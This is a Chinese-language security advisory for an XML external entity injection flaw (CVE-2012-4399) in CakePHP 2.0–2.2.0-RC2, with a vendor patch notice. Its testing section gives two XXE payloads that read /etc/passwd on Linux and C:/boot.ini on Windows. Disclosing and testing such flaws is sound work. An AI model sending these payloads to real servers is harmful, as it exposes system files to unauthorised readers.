CakePHP XML外部实体注入漏洞

发布日期：2012-07-16
更新日期：2012-10-17受影响系统：
CakePHP CakePHP 2.0 - 2.2.0-RC2
CakePHP CakePHP
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 54474
CVE ID: CVE-2012-4399CakePHP是一个自由开源的PHP快速开发框架。CakePHP 2.0 - 2.2.0-RC2存在XML外部实体注入漏洞，攻击者可利用此漏洞获取本地文件敏感信息。<*来源：Pawel h0wl Wylecial
*>测试方法：
--------------------------------------------------------------------------------警告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！Linux:
<！DOCTYPE cakephp [
<！ENTITY payload SYSTEM "file:///etc/passwd" >]>
<request>
<xxe>&payload;</xxe>
</request>Windows:
<！DOCTYPE cakephp [
<！ENTITY payload SYSTEM "file:///C:/boot.ini" >]>
<request>
<xxe>&payload;</xxe>
</request>建议：
--------------------------------------------------------------------------------
厂商补丁：CakePHP
-------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：http://cakephp.org/QQPlayer "quartz.dll"堆缓冲区溢出漏洞IpTools Tiny TCP/IP服务器目录遍历漏洞相关资讯 CakePHP CakePHP安全漏洞外部实体注入漏洞

CakePHP 2.1.2 & 2.2.0-beta发布（05/05/2012 06:27:03）

CakePHP 2.0.6 发布（02/08/2012 15:07:55）

本文评论查看全部评论（0）

评论声明

尊重网上道德，遵守中华人民共和国的各项有关法律法规
承担一切因您的行为而直接或间接导致的民事或刑事法律责任
本站管理人员有权保留或删除其管辖留言中的任意内容
本站有权在网站内转载或引用您的评论
参与本评论即表明您已经阅读并接受上述条款